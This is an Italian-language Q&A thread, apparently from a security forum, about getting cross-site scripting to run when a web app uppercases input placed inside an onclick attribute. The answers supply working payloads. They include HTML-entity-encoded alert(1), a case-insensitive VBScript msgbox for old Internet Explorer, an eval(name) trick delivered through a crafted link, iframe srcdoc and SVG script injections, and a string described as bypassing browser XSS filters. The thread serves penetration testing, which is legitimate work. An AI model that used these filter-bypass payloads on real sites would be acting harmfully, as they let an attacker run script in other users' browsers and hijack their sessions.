Come posso eseguire un XSS quando un'applicazione web trasforma un dato da minuscolo a maiuscolo?

11

Sto testando un'applicazione web, quando invio un dato di input all'applicazione web, questo pone i dati in una funzione onclick , qualcosa del genere:

<a href="#" onclick="someFunction('dataFromServer', '0');">link</a>

Ma l'applicazione web trasforma i dati da minuscolo a maiuscolo, quindi se sostituisco dataFromServer per ','0');alert('XSS');someFunction(' , ho il seguente risultato:

<a href="#" onclick="someFunction('','0');ALERT('XSS');SOMEFUNCTION('', '0');">link</a>

Quindi, il mio exploit XSS non funziona, perché, il browser dice "ALERT non è definito", ho provato su Firefox e IE.

C'è un modo per eseguire un XSS in questo caso?

    
posta hmrojas.p 17.03.2016 - 20:51
fonte

3 risposte

7

Puoi codificare le lettere usando la e commerciale e numeri (codifica html). a = &#x41; o &#x65; e così via.

Il codice JavaScript può essere codificato senza utilizzare caratteri alfanumerici. Il modo più semplice per farlo è quello di verificare: link Questo sito può codificarlo per te.

    
risposta data 18.03.2016 - 06:18
fonte
3

C'è una (tipo di vecchia scuola) in cui puoi fare ciò che può o non può essere rilevante per il tuo caso, a seconda della base di utenti dell'applicazione.

VBScript funziona bene in Internet Explorer 10 e precedenti ed è case insensitive, quindi qualcosa come

<IMG SRC='vbscript:msgbox("XSS")'>

potrebbe funzionare bene.

    
risposta data 17.03.2016 - 21:09
fonte
0

Nel tuo esempio, sei già in un contesto di attributo HTML, quindi dovresti essere in grado di codificare in HTML il tuo payload. Il browser la decodificherà per te prima di passarla al motore Javascript.

onclick="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" eseguirà alert (1) quando viene cliccato.

Se esiste una limitazione di lunghezza di 100 caratteri, è possibile utilizzare il seguente pyaload:

&#x65;&#x76;&#x61;&#x6C;(&#x6E;&#x61;&#x6D;&#x65;) che si traduce in eval(name)

Puoi impostare il nome, o window.name, tramite ad esempio l'attributo target di un tag-a:

<a target="alert(1)" href="http://vulnerable.com/?xss=%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6C%3B%28%26%23x6E%3B%26%23x61%3B%26%23x6D%3B%26%23x65%3B%29">Click to XSS</a>

Altri tre esempi:

  • <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
  • <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>
  • ">']]>-&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</SCRIPT></SVG><SVG><SCRIPT>'<![CDATA[

L'ultimo funziona quando la pagina contiene un doppio + riflesso e ignorerà i filtri XSS del browser.

Nota: &#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29; = alert (1) quando l'entità HTML / XML viene decodificata

    
risposta data 04.12.2018 - 09:30
fonte

Leggi altre domande sui tag